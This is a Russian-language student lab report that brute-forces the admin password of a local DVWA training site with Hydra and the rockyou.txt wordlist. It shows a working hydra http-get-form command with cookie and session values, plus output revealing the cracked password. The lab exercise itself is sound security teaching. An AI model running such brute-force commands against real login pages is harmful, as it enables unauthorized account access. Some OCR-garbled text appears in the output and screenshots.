#### Отчет по индивидуальному проекту. Этап 3

Hydra. Bruteforce, DVWA

Вакутайпа Милдред

### Содержание

1	Цель работы	5
2	Задание	6
3	Выполнение лабораторной работы	7
4	Выводы	10
Сг	исок литературы	11

# Список иллюстраций

3.1	Загрузка список паролей	7
3.2	DVWA домашняя страница	7
3.3	информация по hydra	8
3.4	Попытка 1 взломать пароль	8
3.5	Попытка 2 взломать пароль	9
3.6	Проверка	9

## Список таблиц

## 1 Цель работы

Получить практические навыки по использованию hydra для брутфорса паролей.

#### 2 Задание

Реализовать эксплуатацию уязвимости с помощью bruteforce паролей.

#### 3 Выполнение лабораторной работы

Перед началой работы, я установила список часто всречающихся паролей. Прверяю ,что список есть и продолжаю работу:

```
(mwakutaipa® wakutaipa)-[~]
$ cd ~/Downloads

(mwakutaipa® wakutaipa)-[~/Downloads]
$ ls
rockyou.txt
```

Рис. 3.1: Загрузка список паролей

Потом войду в аккаунт DVWA, который создала в предыдущой работы и нажимаю brute force:



Рис. 3.2: DVWA домашняя страница

С помощью man читаю справку по hydra, чтобы понять чуть подробнее с чем он работает. Мне понадобится опции -l (логин) и -p(пароль):

```
HYDRA(1)

NAME

hydra - a very fast network logon cracker which supports many different services

SYNOPSIS

hydra

[[[-l LOGIN]—L FILE] [-p PASS]—P FILE]—X OPT -y]] | [-C FILE]]

[-e nsr] [-u] [-f]—F] [-M FILE] [-o FILE] [-b FORMAT]

[-t TASKS] [-T TASKS] [-w TIME] [-w TIME] [-m OPTIONS] [-s PORT]

[-c TIME] [-S] [-0] [-4|6] [-I] [-vV] [-d]

server service [OPTIONS]

DESCRIPTION

Hydra is a parallelized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Currently this tool supports:

adam6500 afp asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
```

Рис. 3.3: информация по hydra

Пароль побираю для пользователя admin с файла rockyou.txt используя getзапрос с параметрами cookie и PHPSESSID. При использовании -p, выводится пароль как имя и место положение файла (home/mwakutaipa/rockyou.txt):

Рис. 3.4: Попытка 1 взломать пароль

При использовании -Р пароль выводится:

```
hydra -l admin -P ~/rockyou.txt -s 80 localhost http-get-form "/DVWA/vuln erabilities/brute/:username=^USER^&password=^PASS^&login=Login:H=Cookie:secur ity=medium; PHPSESSID=j107aep36is3emoimq4pc9vpli:F= TRY AGAIN."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is n on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-09 20: 35:47
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1 /p:14344398), ~896525 fries per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:use rname=^USER^&password=^PASS^&login=Login:H=Cookie:security=medium; PHPSESSID=j107aep36is3emoimq4pc9vpli:F= TRY AGAIN.
[80][http-get-form] host: localhost login: admin password: password
```

Рис. 3.5: Попытка 2 взломать пароль

Вхожу в систему с данной паролей чтобы проверят, что пароль правилный:

.ogin				
sername:		٦		
assword:	*			
Login Velcome to the pass	sword prot	ected area	admin	

Рис. 3.6: Проверка

### 4 Выводы

Получила практические навыки по использованию hydra для брутфорса паролей.

# Список литературы